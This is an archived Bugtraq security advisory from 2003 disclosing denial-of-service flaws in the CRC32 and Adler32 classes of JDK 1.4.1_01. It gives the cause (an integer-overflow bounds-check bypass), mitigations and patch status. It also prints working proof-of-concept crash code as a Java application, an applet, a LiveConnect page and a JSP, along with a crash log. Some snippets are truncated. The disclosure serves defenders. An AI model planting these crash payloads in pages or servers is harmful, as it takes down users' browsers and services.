Home page logo

bugtraq logo Bugtraq mailing list archives

Denial-Of-Service holes in JDK 1.4.1_01
From: Marc Schoenefeld <schonef () uni-muenster de>
Date: Sat, 15 Mar 2003 00:20:47 +0100 (MEZ)

Hash: SHA1

Denial-Of-Service holes in
JDK 1.4.1_01
Security Alert
Marc Schoenefeld

(html version at http://www.illegalaccess.org)

Several Java distributions (like the popular JDK 1.4.1 JRE from Sun)
have been found to contain several locally
Denial of Service vulnerabilities
in java.util.zip.* system-classes
exploitable by
malicious applets and applications

Mar 10, 2003

Several Java distributions (like the popular JDK 1.4.1 JRE from Sun)
have been found to contain a locally exploitable Denial of Service.
The problem appears difficult to exploit, but hackers have a history
of discovering and releasing exploit code for exploitable flaws. The
techniques described here have been presented at the Blackhat Windows
Security 2003 conference.
The following threats appear on the whole range where java technology
is present:

A malicious user or an attacker could insert the described exploitable
API code to force JVM crashes in the ISPs runtime environment. This
will cause outage of the JSP / servlet service the JVM is running for.
This has been tested with Tomcat 4.1.18 with security options
turned on.
There is not only a threat for server-based services, furthermore a
malicious applet containing the code exploiting the vulnerable classes
could crash browser software like Internet Explorer, Netscape
Navigator, Lotus Notes that have Java functionality enabled.
Java DK 1.4.1 has entry points to native libraries. These entry points
can be called with parameters (java simple types or objects). If an
object value is set to null and the native routine does not provide
appropriate check for null values, the JVM reaches an undefined state
and typically ends of in a JVM crash. The following proof of concept
code describes the problem stated above. If you are interested for
details about JVM security see the presentation of Marc Schoenefeld at
Blackhat USA 2002 and LSD-PL at Blackhat Asia 2002.
In this specific case there seems to a protection against buffer
underflow in the vulnerable classes, which can be disabled by a
special combination of the accompanying parameters, which cause via an
underflow condition. If the injected buffer can be used for shell code
injection is still under investigation.

This vulnerabilities can be exploited in the following scenarios if
the vulnerable method is called

in a java application, there is low to medium risk, because attacker
normally needs access to local file system, the risk if classes are
loaded dynamically from the network and the jar-files are infected
with the exploit
in a java servlet or java server page, there is medium to high risk,
because attacker normally needs access to the webroot directory. After
injecting an infected servlet/server page , the attacker calls it via
http and the servlet engine (tested with tomcat 4.1.18) dies with an
JVM crash. Unfortunately the -security parameter has no effect,
because java.util.zip.CRC32 is a trusted class.
in a java servlet, there is high risk, resulting in a
denial-of-service of the browser software. This has been tested with
several browsers and JDKs plugged in on W32 and Linux, including
popular platforms like Internet Explorer 5/6, Mozilla and Konqueror
browser utilizing Java Plugins like the current JRE 1.4.1 or JRE

D:\entw\java\blackhat\crash>java -classpath . CRCCrash.java

An unexpected exception has been detected in native code outside the
Unexpected Signal : EXCEPTION_ACCESS_VIOLATION occurred at

Current Java thread:
at java.util.zip.CRC32.updateBytes(Native Method)
at java.util.zip.CRC32.update(CRC32.java:53)
at CRCCrash.main(CRCCrash.java:3)

Dynamic libraries:
0x00400000 - 0x00406000 C:\WINDOWS\system32\java.exe
0x77F40000 - 0x77FEE000 C:\WINDOWS\System32\ntdll.dll
0x77E40000 - 0x77F38000 C:\WINDOWS\system32\kernel32.dll
0x77DA0000 - 0x77E3C000 C:\WINDOWS\system32\ADVAPI32.dll
0x78000000 - 0x78086000 C:\WINDOWS\system32\RPCRT4.dll
0x77BE0000 - 0x77C33000 C:\WINDOWS\system32\MSVCRT.dll
0x6D330000 - 0x6D45A000
0x77D10000 - 0x77D9C000 C:\WINDOWS\system32\USER32.dll
0x77C40000 - 0x77C80000 C:\WINDOWS\system32\GDI32.dll
0x76AF0000 - 0x76B1D000 C:\WINDOWS\system32\WINMM.dll
0x76330000 - 0x7634C000 C:\WINDOWS\System32\IMM32.DLL
0x6D1D0000 - 0x6D1D7000 C:\Programme\Java\j2re1.4.1_01\bin\hpi.dll
0x6D300000 - 0x6D30D000 C:\Programme\Java\j2re1.4.1_01\bin\verify.dll
0x6D210000 - 0x6D229000 C:\Programme\Java\j2re1.4.1_01\bin\java.dll
0x6D320000 - 0x6D32D000 C:\Programme\Java\j2re1.4.1_01\bin\zip.dll
0x76C50000 - 0x76C72000 C:\WINDOWS\system32\imagehlp.dll
0x6DA00000 - 0x6DA7D000 C:\WINDOWS\system32\DBGHELP.dll
0x77BD0000 - 0x77BD7000 C:\WINDOWS\system32\VERSION.dll
0x76BB0000 - 0x76BBB000 C:\WINDOWS\system32\PSAPI.DLL

Local Time = Mon Feb 03 12:15:38 2003
Elapsed Time = 0
# The exception above was detected in native code outside the VM
# Java VM: Java HotSpot(TM) Client VM (1.4.1_01-b01 mixed mode)
Figure 1: JVM Crash

Sample Exploit Application
This application has been successfully tested harmful with Sun JDK
1.3.1, 1.4.0, 1.4.1, IBM JDK 1.3.1 on several tested platforms
including W32, Linux, Solaris and AIX. As this exploit affects trusted
system libs it is likely that J2EE application servers and JMX runtime
components are also affected.
If non-desktop related java environments like the embedded solutions
frameworks (MIDP) for devices like cellular phones is affected is
still under investigation.

public class CRCCrash {
public static void main(String[] args) {
(new java.util.zip.CRC32()).update(new byte[0] ,4 ,

Figure 2: CRCCrash.java

Sample Exploit Applet
This applet has been successfully tested harmful with IE6, IE5,
Mozilla, Konqueror, but it is expected that other java based browsers
and systems with embedding browsers with java functionality like Lotus
Notes, Outlook, etc. are also vulnerable because the exploitable
component is the underlying JDK (see above).

* Describe class <code>CRC32CrashApplet</code> here.
* @author <a href="mailto:Marc () illegalaccess org">Marc Schoenefeld</a>
* @version 1.0
public class CRC32CrashApplet extends java.applet.Applet {
public void paint(java.awt.Graphics g)
java.util.zip.CRC32 crc = new java.util.zip.CRC32();
crc.update(new byte[0],4,Integer.MAX_VALUE-3);
g.drawString("Crash the browser!", 20, 90);

Figure 3: CRC32CrashApplet.java

Sample Exploit Liveconnect page
<html> <body> <script language=javascript>
java.util.zip.Adler32();a.update(c,4, 0x7ffffffc); </script>
</body> </html>

Figure 4: CRC32Crash.html

Sample Exploit Java Server Page
This server page has been tested with Apache Jakarta Tomcat 4.1.18,
but it is expected that other servlet engines like Websphere, JRun are
also vulnerable because the exploitable component is the underlying
JDK (see above).

<% () pagecontentType="text/html;charset=WINDOWS-1252"
<% %>
<%! %>
<% (new CRC32()).update(new byte[0],4,Integer.MAX_VALUE-3); %>
<title>Crash-JSP mit java.util.zip.CRC32.update</title>
<h1>Crash-JSP mit sun.misc.MessageUtils.toStderr(null)</h1>
<h2> Marc Schoenefeld , marc () illegalaccess org </h2>

Figure 5: CRC32CrashApplet.jsp

Affected methods and classes
Scan the importes of the (if self-written) classes of your java
applications (especially if downloaded from remote sites) if they call
into the affected methods.
CRC32 has native calls in the following methods:

private native static int update(int adler, int b);
private native static int updateBytes(int adler, byte[] b, int off,
int len);
It was detected to be that the source of all vulnerabilites are
inadequate range checks which then lead to integer overflows. The
CRC32 functions that guard the native call to zip.dll seems to be
coded somehow like the following:

public class CRC32 [...] {
public void update(byte[] buff, int offset, int lenny) {
if (buff == null)
throw new NullPointerException();
if (offset < 0 || lenni < 0 || offset + lenny > buff.length)
throw new ArrayIndexOutOfBoundsException();
} adler = updateBytes(adler, b, offset, lenny);

the buffer has to be non-null, therefore the exploit uses byte[0]
if offset < 0 the call is rejected
if lenny< 0 the call is rejected
If offset + lenny is larger than buff.length the call is rejected
To exploit the vulnerability a situation must be created where
offset + lenny =< buff.length AND offset >= 0 AND lenny >=0

which is in our example given for
x = 4 :
offset = x AND length = Integer.MAX_VALUE - x + buff.length+1

Disable Java , or if this is not possible
Do not download java applet from untrusted sources
Ask your JRE/JDK vendor (Sun, IBM, …) for a security update
Patch Available
The vulnerabilities described here are no longer present in JDK
1.4.1_02. The present JDK 1.3.1_07 is still affected. A patch for IBM
JDK is not known.

The bugs have been reported to the official java bug database on Feb
03, 2003 and have been considered to be new, their URLs in the bug database


Further Information
An extended version of this report with a summary about native
method vulnerabilites can be downloaded from IDefense.com.

Marc Schoenefeld , www.illegalaccess.org

First they ignore you
Then they laugh at you
Then they fight you
Then you win
- -- Mahatma Gandhi--

Version: GnuPG v1.0.6 (AIX)
Comment: For info see http://www.gnupg.org


  By Date           By Thread  

Current thread:
  • Denial-Of-Service holes in JDK 1.4.1_01 Marc Schoenefeld (Mar 15)
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]